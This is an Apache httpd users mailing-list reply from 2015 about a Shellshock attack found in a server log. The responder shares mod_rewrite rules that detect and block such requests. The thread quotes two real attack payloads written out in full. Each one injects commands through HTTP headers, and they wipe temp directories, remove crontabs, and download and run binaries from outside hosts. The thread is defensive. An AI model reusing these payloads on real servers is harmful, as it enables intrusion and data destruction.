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From Kurtis Rader <kra...@skepticism.us>
Subject Re: [users@httpd] Security question
Date Thu, 02 Jul 2015 14:55:21 GMT
On Thu, Jul 2, 2015 at 5:00 AM, Victor Sterpu <victor@casnt.ro> wrote:

> A hacker attacked a apache2 web server by HTTP injection.
> The log show what he has done:
> 62.1.212.154 - - [01/Jul/2015:17:02:06 +0300] "GET /phppath/cgi_wrapper
> HTTP/1.1" 404 280 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type:
> text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf
> /tmp/* ; rm -rf /var/tmp/* ; rm -rf /tmp/.* ; rm -rf /var/tmp/.* ; crontab
> -r ; killall -9 wget fetch curl lwp-download b f r xx y i.gif print start
> pscan pnscan ps ; wget http://80.68.94.216/sc.gif ; curl -O
> http://80.68.94.216/sc.gif ; chmod +x sc.gif ; nohup ./sc.gif & \");'"
>
> How can I prevent this in the future and how can I reproduce?
> I tried to reproduce but is not clear how he launched this command and I
> want to know so I can test my vulnerabilities in the future.
> The path "/phppath/cgi_wrapper" doesn't exist at all.
>

That's a shellshock attack. I use the following rewrite rule to detect them
so my monitoring software can automatically block the source of the attack.
The /blocked.php script sets the HTTP status to 400.

# This protects against attempts to exploit the Bash execution bug (known as
# "shellshock"). We're not susceptible to the attack but this makes it easy
to
# spot the attack and blackhole the source. See
# http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29).
RewriteCond %{QUERY_STRING} ^.*=\(\) [OR]
RewriteCond %{HTTP_REFERER} ^\(\)\s{ [OR]
RewriteCond %{HTTP_COOKIE} ^\(\)\s{ [OR]
RewriteCond %{HTTP_USER_AGENT} ^\(\)\s{
RewriteRule ^ /blocked.php [END,E=error-notes:shellshock-exploit]

Here's the log entry for the most recent attack the above rule caught (I
have a custom log format):

2015-06-28T06:08:02 1435496882.639185 400 shellshock-exploit 6491 616
194.8.18.88 75.101.21.75 "GET / HTTP/1.0" "() { :;}; /bin/bash -c \"wget -O
/tmp/bbb dprftp.asuscomm.com/novo.php?ip=37352e3130312e32312e3735\""


-- 
Kurtis Rader
Caretaker of the exceptional canines Junior and Hank

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